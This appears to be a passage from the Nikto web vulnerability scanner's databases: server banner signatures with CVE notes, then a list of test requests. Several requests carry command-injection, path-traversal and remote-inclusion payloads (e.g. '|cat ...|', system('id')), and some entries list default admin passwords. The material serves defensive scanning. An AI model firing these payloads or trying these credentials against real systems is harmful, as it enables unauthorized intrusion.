HTTP Server, often an embedded device like a Nortel MIPCD" "800135","Monkey\/0\.([0-5].*|6\.[0-2]{1})","CVE-2003-0218","Monkey server is vulnerable to a remote buffer overflow." "800136","MS-MFC-HttpSvr/1.0","CVE-2002-0705, CVE-2002-0706, CVE-2002-0707, CVE-2002-0708, CVE-2002-0709","Server and Surfcontrol software has multiple remote vulnerabilities." "800137","myCIO","","The McAfee myCIO server provides antivirus updates to clients. This server has had multiple vulnerabilities in the past." "800138","Mylo/0\.([0-1]|2\.[0-1])","","mod_mylo may be vulnerable to a remote buffer overflow. Upgrade to the latest version. CVE‑2003‑0651." "800139","MyServer 0\.([0-3]\..*|4\.[0-2])","","MyServer versions lower than 0.5 contain multiple remote vulnerabilities." "800140","MyWebServer\/(0\.*|1\.0[0-2])","","MyWebServer versions 1.02 and below are vulnerable to a DoS by requesting a url of approximately 1000 characters." "800141","ncsa","","lower than v1.3 have multiple issues" "800142","neowebscript","","Apache plugin to allow TCL use" "800143","netcloak","","http://www.maxum.com plugin for webstar" "800144","netpresenz","","http://www.stairways.com/netpresenz" "800145","NetWare","","Novell Netware web server identified." "800146","nsl","","http://www.nsl.net/" "800147","NULLhttpd\/0\.5\.1","","NULLhttpd may allow a system DoS if a client says it will send an amount of data, then sends one byte less. This will cause the server to hold that data in memory and wait for the last byte." "800149","OmniHTTPd\/2\.0\.8","","This version contains a source disclosure vulnerability (append %20 to request). Upgrade to the latest." "800150","OmniHTTPd\/2\.0\.9","","This version contains a remote denial of service if more than 4096 characters are used as the HTTP version in a request. Upgrade to the latest." "800151","open-market-secure-webserver","","http://www.openmarket.com/products/secureweb.html" "800152","open-market-webserver","","http://www.openmarket.com/products/webserver.html" "800153","Oracle Applications One-Hour Install","","The Oracle Applications One-Hour Install allows remote users to administer the database. It should not be used unless absolutely required." "800154","Oracle_Web_Listener","","The Oracle Web Listener allows remote users to administer the database. It should not be used unless absolutely required." "800155","os2httpd","","http://ftp.netcom.com/pub/kf/kfan/overview.html" "800156","osu","","http://kcgl1.eng.ohio-state.edu/www/doc/serverinfo.html" "800157","PHP\/([0-3].*|4\.[0-2].*|4\.3\.[0-2])","","PHP below 4.3.3 may allow local attackers to safe mode and gain access to unauthorized files. CVE‑2003‑0863." "800158","PHP\/[0-3]\.","","Old versions of PHP contain multiple buffer overflows and remote exploit problems. Server should be upgraded to the latest version." "800159","PHP\/4\.0\.([2-5])","","PHP 4.1.1 is vulnerable to remote exploits and must be upgraded." "800160","PHP\/4\.0\.(1|3pl1)","https://web.archive.org/web/20020522152105/http://archives.neohapsis.com/archives/vulnwatch/2002-q1/0054.html","PHP 4.0.1 or 4.0.3pl is vulnerable to remote exploits and should be upgraded." "800161","PHP\/4\.0\.(6|7)(RC2)?","","PHP 4.06 to 4.07RC3 are vulnerable to remote exploits and must be upgraded." "800162","PHP\/4\.0\.[0-3]","","This version of PHP contains a buffer overflow in the IMAP module. Upgrade to the latest version." "800163","PHP\/4\.0\.5","","This version of PHP allows attackers to override safe mode and obtain the HTTP uid" "800164","PHP\/4\.1\.1","","PHP 4.1.1 is vulnerable to remote exploits and must be upgraded." "800165","PHP\/4\.2\.[0-1]","","PHP 4.2.0 and 4.2.1 are vulnerable to local and remote DoS attacks to both PHP and to the web server. Some platforms have remove command execution problems as well." "800166","PHP\/4\.2\.0","","PHP 4.2.0 is vulnerable to exploit via invalid checking of posix_getpwuid and posix_getpwnam." "800167","phttpd","","http://www.signum.se/phttpd" "800168","PI\/7\.[0-4]","","InfronTech WebTide 7.0 to 7.4 allow directory listings by sending a request like '%3f.jsp'." "800169","Pi3Web\/2\.0","CVE-2002-0142 ","Pi3Web server may crash after sending very long parameters a few times." "800170","plexus","","http://www.bsdi.com/server/doc/plexus.html" "800171","powerweb","","http://www.compusource.co.za/powerweb" "800172","process","","http://www.process.com/" "800173","PWS","","Personal Web Server. requesting /....../ might give root drive list." "800174","pws\/4","","May be able to bypass security settings using 8.3 file names." "800175","RapidLogic","","Embedded device" "800176","Resin\/1","","Resin web server may allow attackers to read any file on the server by requesting files like '\..\..\file.txt'." "800177","Resin\/2\.1\.1","","Resin 2.1.1 is vulnerable to a remote denial of service by defining large variables when requesting non-existent resources." "800178","roxen","","http://www.roxen.com/" "800179","rushhour","","http://www.maxum.com/RushHour" "800180","sambar\/(5\.|6\.(0|1|2[^.]))","https://web.archive.org/web/20051121180931/http://secunia.com/advisories/15465/","This version of Sambar is vulnerable to XSS attacks." "800181","sambar\/(5\.|6\.0[^0-9])","","This version of Sambar contains multiples flaws, http://secunia.com/advisories/9578/" "800182","sambar\/5\.1","","Sambar version 5.1 is vulnerable to source viewing by adding a +%00 to cgi requests." "800183","Savant","","Versions of Savant older than 3.0 can be crashed by requesting 'GET /%%% HTTP/1.0'" "800184","Savant\/3\.0","","Savant 3.0 (Windows) is vulnerable to a remote DoS by sending very long CGI parameters multiple times. Upgrade to a version higher than 3.0." "800185","Savant\/3\.1","","Savant 3.1 (Windows) is vulnerable to a DoS by sending a GET request containing a URL of approx. 291 characters or more." "800186","ScriptEase\/0\.95","CVE-2002-0298","ScriptEase v0.95 is vulnerable to a DoS if a 2000 character file is requested." "800187","serverseven","","Win 32 platform (pascal)" "800188","SetiQueue\/","","This is a SETI@Home work-unit queue server, proxy, and web server, http://www.reneris.com/seti/default.asp." "800189","Simple, Secure Web Server 1.1","","Likely a Raptor firewall (which may answer to protect the web server from an invalid request)." "800190","SimpleWebserver\/2\.([0-9]|1\.[0-2])","","TelCondex SimpleWebserver 2.12.30210 Build 3285 is vulnerable to a buffer overflow if 704 bytes are sent in the referrer header. Upgrade to 2.13 or higher." "800191","SimpleWebserver\/SimpleWebserver\/([0-1].*|2\.(0.*|[0-9]{1}\..*|(10|11|12)\..*|13\.[0-2].*|13\.310([0-1].*|2[0-7])))","","TelCondex Simpleserver 2.13.31027 Build 3289 and below allow directory traversal with '/.../' entries." "800192","SiteScope Administrator","","The SiteScope Administrator allows SiteScope configuration if not password protected or if a valid account can be found." "800193","Specialix JETSTREAM","","Probably a printer." "800194","spinnaker","","http://www.telegrafix.com/" "800195","spry","","http://wsk.eit.com/" "800196","Squid\/2\.[0-4]","","The Squid proxy may be vulnerable to an FTP buffer overflow." "800197","Squid\/2\.[3-4]\..*(STABLE[1-4]|DEVEL(2|4))","","The Squid server may be vulnerable to a PUT request DoS. Also may have SNMP/FTP/HTCP vuls if running." "800198","Statistics Server","","Statistics Server versions lower than 5.03 are vulnerable to a remote command execution flaw." "800199","Storage","","Try to login with 'admin' or 'monitor'" "800200","StorageTek","","Try to login with 'admin' or 'monitor'" "800201","Stronghold","","May be a Big IP (load balancer) admin interface." "800202","Sun_WebServer","","Solaris Management Console (SMC)" "800203","Teamtrack","https://github.com/sullo/advisory-archives/blob/master/RFP9904.txt","May allow ../../../ directory listing." "800204","telefinder","","http://bbs.spiderisland.com/" "800205","thttpd\/2\.0\.[123]","http://www.acme.com/software/thttpd","thttpd v2.03 lets reading of system files by adding // like //etc/passwd." "800148","thttpd\/2\.0\.4","http://www.acme.com/software/thttpd","thttpd 2.04 has a buffer overflow in 'If-Modified-Since' header." "800206","thttpd\/2\.20b","","thttpd 2.20b is vulnerable to cross site scripting in error messages." "800207","tivo-httpd","","Tivo server allows Tivo DVRS and comps to download video from the Tivo to a desktop. User ID is 'tivo' and pass is the Media Access Key (MAK)" "800208","Tivo","","TiVo Calypso Server allows TiVo DVRs to talk to computers to download music and video via an HTTP web server on port 8101." "800209","tme_10_netview_vs","","Tivoli web manager" "800210","Ultraseek","","The Ultraseek server has had multiple buffer overflows and cross site scripting vuls. Make sure the latest version is being run." "800211","viking","","http://www.robtex.com/viking/" "800212","VisualRoute","","VisualRoute web servers allow remote users to perform traceroutes to third parties while remaining anonymous. This should not be run without proper protection." "800213","vm\:webserver","","http://www.vm.sterling.com/" "800214","vqserver","","version 1.9.9 and below have remote file read vulnerability, http://www.vqsoft.com/" "800215","w4","","http://130.89.224.16/" "800216","web commander","","http://www.luckman.com/wc/webcom.html" "800217","web server 4d","","http://www.mdg.com/" "800218","Web_Server_4D\/3\.5\.3","CVE-2002-0124","Vulnerable to a DoS and a directory traversal problem." "800219","Web4All\/1\.2\.8","","Web Server 4 Everyone may be vulnerable to a remote DoS if 2000 characters are requested." "800220","Web4Everyone\/1\.2\.8","","Web Server 4 Everyone may be vulnerable to a remote DoS if 2000 characters are requested." "800221","webdisk","","http://www.ararat.com/" "800222","webforone","","http://www.resnova.com/webforone" "800223","WebLogic.*6\.0.*(SP(1.*|2 [^R].*))","https://seclists.org/vulnwatch/2003/q1/133,https://securitytracker.com/id/1008160","Weblogic may be vulnerable to multiple remote problems." "800224","WebLogic.*6\.1.*(SP([1-3].*|[^4-9].*))","https://seclists.org/vulnwatch/2003/q1/133,https://securitytracker.com/id/1008160","Weblogic may be vulnerable to multiple remote problems." "800225","WebLogic.*7\.0.(\.0\.1)?.*(SP[^2-9])?","https://seclists.org/vulnwatch/2003/q1/133,https://securitytracker.com/id/1008160","Weblogic may be vulnerable to multiple remote problems." "800226","Weblogic\/6\.1","https://securitytracker.com/id/1004182","WebLogic 6.1 SP2 for Win2k may have multiple problems." "800227","webquest","","http://www.questar.com/" "800228","webshare","https://web.archive.org/web/19990116231623/http://www.beyond-software.com/products/eweb/webshare/webshare.html","Webshare server is no long supported." "800229","websitepro","","http://website.ora.com/" "800230","WebSitePro\/2\.[0-4]","CVE-2000-0623","Versions of WebSitePro lower than 2.5 have multiple buffer overflows. Upgrade to 2.5 or higher." "800231","WebSitePro\/3\.1\.11\.0","","WebSitePro 3.1.11.0 can disclose source code by requesting the 8.3 file name instead of the full file name." "800232","Websphere\/4\.0\.3","CVE-2002-1153","This server may have a DoS if large HTTP headers are received. Install patch PQ62144." "800233","webstar","","http://www.starnine.com/webstar may let you download log files" "800234","WebZerver","","May be DiscZerver" "800235","whostmgr","","This is a web host and system manager. It should not be running unless required, as it allows system/server administration." "800236","wildcat","","http://www.santronics.com/" "800237","Worldgroup\/3\.20","","WoldGroup 3.20 is vulnerable to a remote root exploit, it should be upgraded." "800238","Xedia","https://github.com/sullo/advisory-archives/blob/master/phenoelit.Lucent_Xedia.txt","Lucent access points may be vulnerable to a DoS if 4000 characters are requested." "800239","Xeneo\/(2\.\1\.[0-9]|[0-1]\..*)","CVE-2002-1248","May be able to DoS the server by requesting '%A'." "800240","Xeneo\/(2\.\1\.0\.0|2\.0\.759\.6)","https://seclists.org/fulldisclosure/2002/Nov/10","May be able to DoS the server by requesting '%'." "800241","xerox","","Probably a printer." "800242","xitami","","Open Source Windows server may be vulnerable to a buffer overflow. Check for the latest version from Xitami.com." "800243","xitami\/(2.[0-4]*|1\.*)","","This version of Xitami from http://www.imatix.com/html/xitami/ may disclose script source if any error occurs. Upgrade to a newer version." "800244","zbserver\/","","May be vulnerale to a DoS (version Pro 1.50-r13)." "800245","zeus","https://github.com/sullo/advisory-archives/blob/master/RFP9905.txt","Multiple vulnerabilities are found in old Zeus servers" "800246","Zeus\/3\.[123]","CVE-2000-0149","Bug allows source of CGI to be viewed. Upgrade to 3.3.5a or higher" "800249","Zope\/((0|1).*|2\.((0\..*)|(1\..*)|(2\..*)|(3\.[0-2])))","","Zope servers below 2.3.3 contain multiple remote configuration problems and vulnerabilities. Upgrade to the latest version." "800250","ZyXEL-RomPager","","Probably a Netgear SoHo Router (RT-314 or similar), most likely vulnerable to CSS." "800251","Netscape-Enterprise\/4.","","Netscape-Enterprise 4.x was made End of Life by Sun Microsystems in December 2002." "800252","CERN\/3","","CERN 3.0A has not been updated since July, 1996 and likely has a few flaws." "800253","Agent-ListenServer-HttpSvr\/1\.0","","McAfee ePolicy Orchestra Agent. This may reveal information about anti-virus and software update schedules." "800254","HP System Management Homepage\/([0-2]|3\.0\.(0|1\.([0-6]|7[0-2])))","https://support.hpe.com/hpesc/public/docDisplay?docId=emr_na-c04463322","HP System Management Homepage version contains multiple vulnerabilities." "800255","cp-sw-server","","This is a web hosting manager. It should not be running unless required, as it allows web server administration." "800256","cpservd","","This is a web hosting manager. It should not be running unless required, as it allows web server administration." "800257","mod_speling","","mod_speling can reveal otherwise hidden files via 'misspelled' file names." "800260","Jetty\(9\.2\.[3-8].*","CVE-2015-2080","Jetty 9.2.3 to 9.2.8 contains a flaw that is triggered when handling 400 errors in HTTP responses. This may allow a remote attacker to gain access to potentially sensitive information in the memory." "800261","PAW Server","","PAW Server default admin id/password is admin/paw. It's worth a try." "800262","PHP\/([345]\.\d|7\.0)","","PHP 3/4/5 and 7.0 are End of Life products without support." "800263","PHP\/7\.1","","PHP 7.1 is End of Life and only receives security updates. It will be unsupported after 2019-12-01." "800264","Cloudflare","https://github.com/sullo/nikto/wiki/Using-a-Proxy","Cloudflare detected via banner. Recommend proxying via Burp or mitmproxy to avoid TLS fingerprint blocks if not already proxying." "800265","railway-edge","https://railway.com/","Application server running on Railway.com cloud platform." ================================================ FILE: program/databases/db_tests ================================================ ####################################################################### # File Source: https://cirt.net # (c) 2001 Chris Sullo, All Rights Reserved. # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from # Chris Sullo (sullo@cirt.net) # # Note: # By submitting updates to this file you are transferring any and all copyright # interest in the data to Chris Sullo so it can modified, incorporated into this product # relicensed or reused. ####################################################################### # Tuning options (field 3): # 0 - File Upload # 1 - Interesting File / Seen in logs # 2 - Misconfiguration / Default File # 3 - Information Disclosure # 4 - Injection (XSS/Script/HTML) # 5 - Remote File Retrieval - Inside Web Root # 6 - Denial of Service # 7 - Remote File Retrieval - Server Wide # 8 - Command Execution / Remote Shell # 9 - SQL Injection # a - Authentication Bypass # b - Software Identification # c - Remote source inclusion # d - WebService # e - Administrative Console # f - XML Injection # DSL (Domain Specific Language) syntax for matcher: # - CODE:pattern - Match HTTP status code (e.g., CODE:200, CODE:404|500) # - BODY:pattern - Match response body content (e.g., BODY:error, BODY:(?i)php) # - HEADER:name:val - Match response header (e.g., HEADER:server:apache, HEADER:content-type:) # - COOKIE:name:val - Match response cookie (e.g., COOKIE:sessionid:abc123, COOKIE:auth:) # - ! - Negation (e.g., !CODE:404, !BODY:error, !COOKIE:sessionid:) # - && - AND logic between conditions # - | - OR logic within patterns (regex) # - (?i) - Case-insensitive regex flag # Examples: # - "CODE:200&&BODY:admin" - 200 status AND "admin" in body # - "!CODE:404&&BODY:error" - NOT 404 AND "error" in body # - "CODE:200|500&&HEADER:server:apache" - 200 or 500 status AND Apache server header # - "BODY:(?i)php&&!BODY:error" - Case-insensitive "php" in body AND no "error" # - "CODE:200&&COOKIE:sessionid:.*" - 200 status AND sessionid cookie matches pattern # Format: "ID","References","Tuning","URI","Method","DSL","Message","Data","Headers" ####################################################################### "000001","","b","/TiVoConnect?Command=QueryServer","GET","BODY:Calypso Server","The Tivo Calypso server is running. This page will display the version and platform it is running on. Other URLs may allow download of media.","","" "000002","","b","/TiVoConnect?Command=QueryConta001476iner&Container=/&Recurse=Yes","GET","BODY:TiVoContainer","TiVo client service is running and may allow download of mp3 or jpg files.","","" "000003","","1234576890ab","@CGIDIRScart32.exe","GET","CODE:200","request cart32.exe/cart32clientlist","","" "000004","http://phrack.org/issues/55/7.html#article","1234576890ab","@CGIDIRSclassified.cgi","GET","CODE:200","Check Phrack 55 for info by RFP","","" "000005","http://phrack.org/issues/55/7.html#article","1234576890ab","@CGIDIRSdownload.cgi","GET","CODE:200","Check info in Phrack 55 by RFP","","" "000006","http://phrack.org/issues/55/7.html#article","1234576890ab","@CGIDIRSflexform.cgi","GET","CODE:200","Check Phrack 55 for info by RFP; allows to append info to writable files.","","" "000007","http://phrack.org/issues/55/7.html#article","1234576890ab","@CGIDIRSflexform","GET","CODE:200","Check Phrack 55 for info by RFP; allows to append info to writable files.","","" "000008","http://phrack.org/issues/55/7.html#article","1234576890ab","@CGIDIRSlwgate.cgi","GET","CODE:200","Check Phrack 55 for info by RFP","","" "000009","http://phrack.org/issues/55/7.html#article","1234576890ab","@CGIDIRSLWGate.cgi","GET","CODE:200","Check Phrack 55 for info by RFP.","","" "000010","http://phrack.org/issues/55/7.html#article","1234576890ab","@CGIDIRSlwgate","GET","CODE:200","Check Phrack 55 for info by RFP","","" "000011","http://phrack.org/issues/55/7.html#article","1234576890ab","@CGIDIRSLWGate","GET","CODE:200","Check Phrack 55 for info by RFP","","" "000012","http://phrack.org/issues/55/7.html#article","1234576890ab","@CGIDIRSperlshop.cgi","GET","CODE:200","v3.1 by ARPAnet.com; check info in Phrack 55 by RFP","","" "000013","http://attrition.org/security/advisory/individual/rfp/rfp.9901.nt_odbc","1234576890ab","/cfappman/index.cfm","GET","CODE:200&&BODY:not found","sSsceptible to ODBC/pipe-style exploit.","","" "000014","http://attrition.org/security/advisory/individual/rfp/rfp.9901.nt_odbc","1234576890ab","/cfdocs/examples/cvbeans/beaninfo.cfm","GET","CODE:200&&BODY:not found","Susceptible to ODBC exploit.","","" "000015","http://attrition.org/security/advisory/individual/rfp/rfp.9901.nt_odbc","1234576890ab","/cfdocs/examples/parks/detail.cfm","GET","CODE:200&&BODY:not found","Susceptible to ODBC exploit.","","" "000016","","1234576890ab","/kboard/","GET","CODE:200","KBoard Forum 0.3.0 and prior have a security problem in forum_edit_post.php, forum_post.php and forum_reply.php","","" "000017","","1234576890ab","/lists/admin/","GET","CODE:200","PHPList pre 2.6.4 contains a number of vulnerabilities including remote administrative access, harvesting user info and more. Default login to admin interface is admin/phplist","","" "000018","https://seclists.org/bugtraq/2002/Jul/262","7a","/splashAdmin.php","GET","CODE:200","Cobalt Qube 3 admin is running. This may have multiple security problems which could not be tested remotely.","","" "000019","","1234576890ab","/ssdefs/","GET","CODE:200","Siteseed pre 1.4.2 has 'major' security problems.","","" "000020","","1234576890ab","/sshome/","GET","CODE:200","Siteseed pre 1.4.2 has 'major' security problems.","","" "000021","","1234576890ab","/tiki/","GET","CODE:200","Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin","","" "000022","","1234576890ab","/tiki/tiki-install.php","GET","CODE:200","Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin","","" "000023","http://attrition.org/security/advisory/individual/rfp/rfp.9901.nt_odbc","1234576890ab","/scripts/samples/details.idc","GET","CODE:200","NT ODBC Remote Compromise.","","" "000024","CVE-2000-0709","6","/_vti_bin/shtml.exe","GET","CODE:200","Attackers may be able to crash FrontPage by requesting a DOS device, like shtml.exe/aux.htm -- a DoS was not attempted.","","" "000025","","1","@CGIDIRShandler.cgi","GET","CODE:200","Variation of Irix Handler? Has been seen from other CGI scanners.","","" "000026","","28","@CGIDIRSfinger","GET","CODE:200","finger other users, may be other commands?","","" "000027","","28","@CGIDIRSfinger.pl","GET","CODE:200","finger other users, may be other commands?","","" "000028","","3","@CGIDIRSformmail.cgi","GET","BODY:Matt\sWright","The remote CGI reveals its version number, which may aid attackers in finding vulnerabilities in the script.","","" "000030","","3","@CGIDIRSformmail","GET","BODY:Matt\sWright","The remote CGI reveals its version number, which may aid attackers in finding vulnerabilities in the script.","","" "000031","","3","@CGIDIRSget32.exe","GET","CODE:200","This can allow attackers to execute arbitrary commands remotely.","","" "000032","CVE-2002-0324 http://www.attrition.org/~jericho/works/security/greymatter.html","3","@CGIDIRSgm-authors.cgi","GET","CODE:200","GreyMatter 'password' file, that controls who can post. This contains login and password information and is installed mode 666 by default.","","" "000033","","3","@CGIDIRSguestbook/passwd","GET","CODE:200","GuestBook r4 from lasource.r2.ru stores the admin password in a plain text file.","","" "000034","https://www.php.net/manual/en/function.phpinfo.php","3","@CGIDIRShorde/test.php?mode=phpinfo","GET","BODY:PHP Version","Horde allows phpinfo() to be run, which gives detailed system information.","","" "000035","","3","@CGIDIRSphoto/protected/manage.cgi","GET","CODE:200","My Photo Gallery management interface. May allow full access to photo galleries and more. Versions before 3.8 allowed anyone to view contents of any directory on systems.","","" "000036","","3","@CGIDIRSwrap.cgi","GET","CODE:200","Allows viewing of directories.","","" "000037","","3","/./","GET","BODY:include\(\"","Appending '/./' to a directory may reveal PHP source code.","","" "000038","CVE-2001-1013","23","/~root/","GET","CODE:200&&!BODY:rtsptext","Allowed to browse root's home directory.","","" "000039","","3","/cgi-bin/wrap","GET","CODE:200","Allows viewing of directories.","","" "000040","","3","/forums/@ADMINconfig.php","GET","CODE:200","PHP Config file may contain database IDs and passwords.","","" "000041","","3","/forums/config.php","GET","CODE:200","PHP Config file may contain database IDs and passwords.","","" "000042","","3","/ganglia/","GET","BODY:Cluster","Ganglia Cluster reports reveal detailed information.","","" "000043","","3","/guestbook/guestbookdat","GET","CODE:200","PHP-Gastebuch 1.60 Beta reveals sensitive information about its configuration.","","" "000044","","3","/guestbook/pwd","GET","CODE:200","PHP-Gastebuch 1.60 Beta reveals the md5 hash of the admin password.","","" "000045","","3","/help/","GET","CODE:200","Help directory should not be accessible","","" "000046","https://vulners.com/exploitdb/EDB-ID:23027","3","/hola/admin/cms/htmltags.php?datei=./sec/data.php","GET","CODE:200","hola-cms-1.2.9-10 may reveal the administrator ID and password.","","" "000047","","3","/horde/imp/test.php","GET","BODY:Horde Versions","Horde script reveals detailed system/Horde information.","","" "000048","https://www.php.net/manual/en/function.phpinfo.php","3","/horde/test.php?mode=phpinfo","GET","BODY:PHP Version","Horde allows phpinfo() to be run, which gives detailed system information.","","" "000049","https://www.php.net/manual/en/function.phpinfo.php","3","/imp/horde/test.php?mode=phpinfo","GET","BODY:PHP Version","Horde allows phpinfo() to be run, which gives detailed system information.","","" "000050","","3","/imp/horde/test.php","GET","BODY:Horde Versions","Horde script reveals detailed system/Horde information.","","" "000051","","3","/index.html.bak","GET","BODY:(?i)index of \/&&BODY:(?i)directory listing (?:of|for)","The remote server (perhaps Web602) shows directory indexes if .bak is appended to the request.","","" "000052","","3","/index.html~","GET","BODY:(?i)index of \/&&BODY:(?i)directory listing (?:of|for)","The remote server (perhaps Web602) shows directory indexes if a ~ is appended to the request.","","" "000053","CVE-2001-1168","7","/index.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fetc","GET","BODY:resolv\.conf","phpMyExplorer allows attackers to read directories on the server.","","" "000054","CVE-2002-0614","23","/global.inc","GET","CODE:200","PHP-Survey's include file should not be available via the web. Configure the web server to ignore .inc files or change this to global.inc.php","","" "000055","","3b","@CGIDIRSformmail.pl","GET","BODY:Matt\sWright","Many versions of FormMail have remote vulnerabilities, including file access, information disclosure and email abuse. FormMail access should be restricted as much as possible or a more secure solution found.","","" "000056","","3b","@CGIDIRShorde/test.php","GET","BODY:Horde Versions","Horde script reveals detailed system/Horde information.","","" "000057","CVE-2003-1253","4","/inc/common.load.php","GET","CODE:200","Bookmark4U v1.8.3 include files are not protected and may contain remote source injection by using the 'prefix' variable.","","" "000058","CVE-2003-1253","4","/inc/config.php","GET","CODE:200","Bookmark4U v1.8.3 include files are not protected and may contain remote source injection by using the 'prefix' variable.","","" "000059","CVE-2003-1253","4","/inc/dbase.php","GET","CODE:200","Bookmark4U v1.8.3 include files are not protected and may contain remote source injection by using the 'prefix' variable.","","" "000060","","6","@CGIDIRSvisadmin.exe","GET","CODE:200","This CGI allows an attacker to crash the web server. Remove it from the CGI directory.","","" "000061","","7","@CGIDIRShtml2chtml.cgi","GET","CODE:200","Html2Wml < 0.4.8 access local files via CGI, and more","","" "000062","","7","@CGIDIRShtml2wml.cgi","GET","CODE:200","Html2Wml < 0.4.8 access local files via CGI, and more","","" "000063","CVE-2000-0590","7","@CGIDIRSpollit/Poll_It_SSI_v2.0.cgi?data_dir=\etc\hosts%00","GET","@LFI()","Poll_It_SSI_v2.0.cgi allows attackers to retrieve arbitrary files.","","" "000064","","8","@CGIDIRSecho.bat?&dir+c:\\","GET","CODE:200","This batch file may allow attackers to execute remote commands.","","" "000065","","8","@CGIDIRSexcite;IFS=\"$\";/bin/cat%20@LFI(nix,abs)","GET","CODE:200&&@LFI()","Excite software is vulnerable to command execution.","","" "000066","CVE-2000-0187","8","@CGIDIRSezshopper/loadpage.cgi?user_id=1&file=|cat%20@LFI(abs,nix)|","GET","@LFI()","EZShopper loadpage CGI command execution","","" "000067","","8","@CGIDIRSguestbook.cgi","GET","CODE:200","May allow attackers to execute commands as the web daemon.","","" "000068","","8","@CGIDIRSguestbook.pl","GET","CODE:200","May allow attackers to execute commands as the web daemon.","","" "000069","","8","@CGIDIRSss","GET","CODE:200","Mediahouse Statistics Server may allow attackers to execute remote commands. Upgrade to the latest version or remove from the CGI directory.","","" "000070","CVE-2005-0429","8","/forumdisplay.php?GLOBALS\[\]=1&f=2&comma=\".system\('id'\)\.\"","GET","BODY:uid=0","VBulletin forumdisplay.php remote command execution.","","" "000071","https://vulners.com/osvdb/OSVDB:2889","8","/guestbook/guestbook.html","GET","BODY:Jason Maloney","Jason Maloney CGI Guestbook 3.0 allows remote code execution. Bugtraq 2003-12-01","","" "000072","","8","/html/cgi-bin/cgicso?query=AAA","GET","BODY:400 Required field missing: fingerhost","This CGI allows attackers to execute remote commands.","","" "000073","https://vulners.com/osvdb/OSVDB:2703","9","/geeklog/users.php","GET","CODE:200","Geeklog prior to 1.3.8-1sr2 contains a SQL injection vulnerability that lets a remote attacker reset admin password.","","" "000074","CVE-2002-1560","a","/gb/index.php?login=true","GET","CODE:200","gBook may allow admin login by setting the value 'login' equal to 'true'.","","" "000075","","a","/guestbook/admin.php","GET","CODE:200","Guestbook admin page available without authentication.","","" "000076","","b","@CGIDIRSgH.cgi","GET","CODE:200","Web backdoor by gH","","" "000077","CVE-2002-0324 http://www.attrition.org/~jericho/works/security/greymatter.html","b","@CGIDIRSgm-cplog.cgi","GET","CODE:200","GreyMatter log file defaults to mode 666 and contains login and passwords used to update the GM site.","","" "000078","","b","/getaccess","GET","CODE:200","This may be an indication that the server is running getAccess for SSO","","" "000079","https://www.darknet.org.uk/2007/01/spike-proxy-application-level-security-assessment/","b","/help.html","GET","BODY:little interface into SPIKE","SPIKE Proxy may be running; try using it as a proxy.","","" "000080","CVE-2002-0324 http://www.attrition.org/~jericho/works/security/greymatter.html","3b","@CGIDIRSgm.cgi","GET","CODE:200","GreyMatter blogger may reveal user IDs/passwords through a gmrightclick-######.reg files (# are numbers), possibly in /archive or other archive location.","","" "000081","CVE-2002-0451","c","/filemanager/filemanager_forms.php?lib_path=@RFIURL","GET","BODY:PHP Version","Some versions of PHProjekt allow remote file inclusions.","","" "000082","","1e","@CGIDIRSAT-admin.cgi","GET","CODE:200","Admin interface.","","" "000083","CVE-2001-0821 https://packetstormsecurity.com/files/32406/xmas.txt.html","23","@CGIDIRSauth_data/auth_user_file.txt","GET","CODE:200","The DCShop installation allows credit card numbers to be viewed remotely.","","" "000084","","23","@CGIDIRSawstats.pl","GET","BODY:Traffic","AWStats logfile analyzer.","","" "000085","","23","@CGIDIRSawstats/awstats.pl","GET","BODY:Traffic","Free realtime logfile analyzer for advanced web statistics. Should be protected.","","" "000086","","23b","@CGIDIRSblog/mt.cfg","GET","BODY:configuration file","Movable Type configuration file found. Should not be available remotely.","","" "000087","CVE-2003-1517","3","@CGIDIRScart.pl?db='","GET","BODY:c:\\\\","Dansie Shopping Cart reveals the full path to the CGI directory.","","" "000088","CVE-2003-1517","3","@CGIDIRScart.pl?db='","GET","BODY:d:\\\\","Dansie Shopping Cart reveals the full path to the CGI directory.","","" "000089","CVE-2000-1191","3","@CGIDIRShtsearch?config=foofighter&restrict=&exclude=&method=and&format=builtin-long&sort=score&words=","GET","BODY:ht:\\\/\\\/Dig","The ht://Dig install may reveal the path to its configuration files, revealing sensitive information about the server.","","" "000090","","3","@CGIDIRSmt-static/mt-check.cgi","GET","CODE:200","Movable Type weblog diagnostic script found. Reveals docroot path, operating system, Perl version, and modules.","","" "000091","","3","@CGIDIRSmt/mt-check.cgi","GET","CODE:200","Movable Type weblog diagnostic script found. Reveals docroot path, operating system, Perl version, and modules.","","" "000092","","3","/cfdocs/expeval/openfile.cfm","GET","CODE:200","Can use to expose the system/server path.","","" "000093","","3","/index.php/123","GET","BODY:Premature end of script headers","Some versions of PHP reveal PHP's physical path on the server by appending /123 to the PHP file name.","","" "000094","https://vulners.com/osvdb/OSVDB:7510","3","/mambo/index.php?Itemid=@JUNK(5)","GET","BODY:exceeded in \/","Mambo Site Server 4.0.11 reveals the web server path.","","" "000095","CVE-2002-1723","3","/profile.php?u=@JUNK(8)","GET","BODY:Warning:","Powerboards is vulnerable to path disclosure.","","" "000096","CVE-2002-2158","3","/ticket.php?id=99999","GET","BODY:expects first argument","ZenTrack versions v2.0.3, v2.0.2beta and older reveal the web root with certain errors.","","" "000097","CVE-2003-0400","3","/vgn/login/1,501,,00.html?cookieName=x--\>","GET","BODY:value=\"x\-\-","Vignette server may leak memory with an invalid request. Upgrade to the latest version.","","" "000098","","3","/a%5c.aspx","GET","BODY:Invalid file name for monitoring:","Older Microsoft .NET installations allow full path disclosure.","","" "000099","","7","@CGIDIRSbanner.cgi","GET","CODE:200","This CGI may allow attackers to read any file on the system.","","" "000100","","7","@CGIDIRSbannereditor.cgi","GET","CODE:200","This CGI may allow attackers to read any file on the system.","","" "000101","CVE-2001-1114","7","@CGIDIRSbook.cgi?action=default¤t=|cat%20@LFI(nix,abs)|&form_tid=996604045&prev=main.html&list_message_index=10","GET","@LFI()","This CGI allows attackers to read arbitrary files on the server.","","" "000102","","7e","/admin/browse.asp?FilePath=c:\&Opt=2&level=0","GET","BODY:winnt","Hosting Controller from hostingcontroller.com allows any file on the system to be read remotely.","","" "000103","","8","@CGIDIRSarchitext_query.pl","GET","CODE:200","Versions older than 1.1 of Excite for Web Servers allow attackers to execute arbitrary commands.","","" 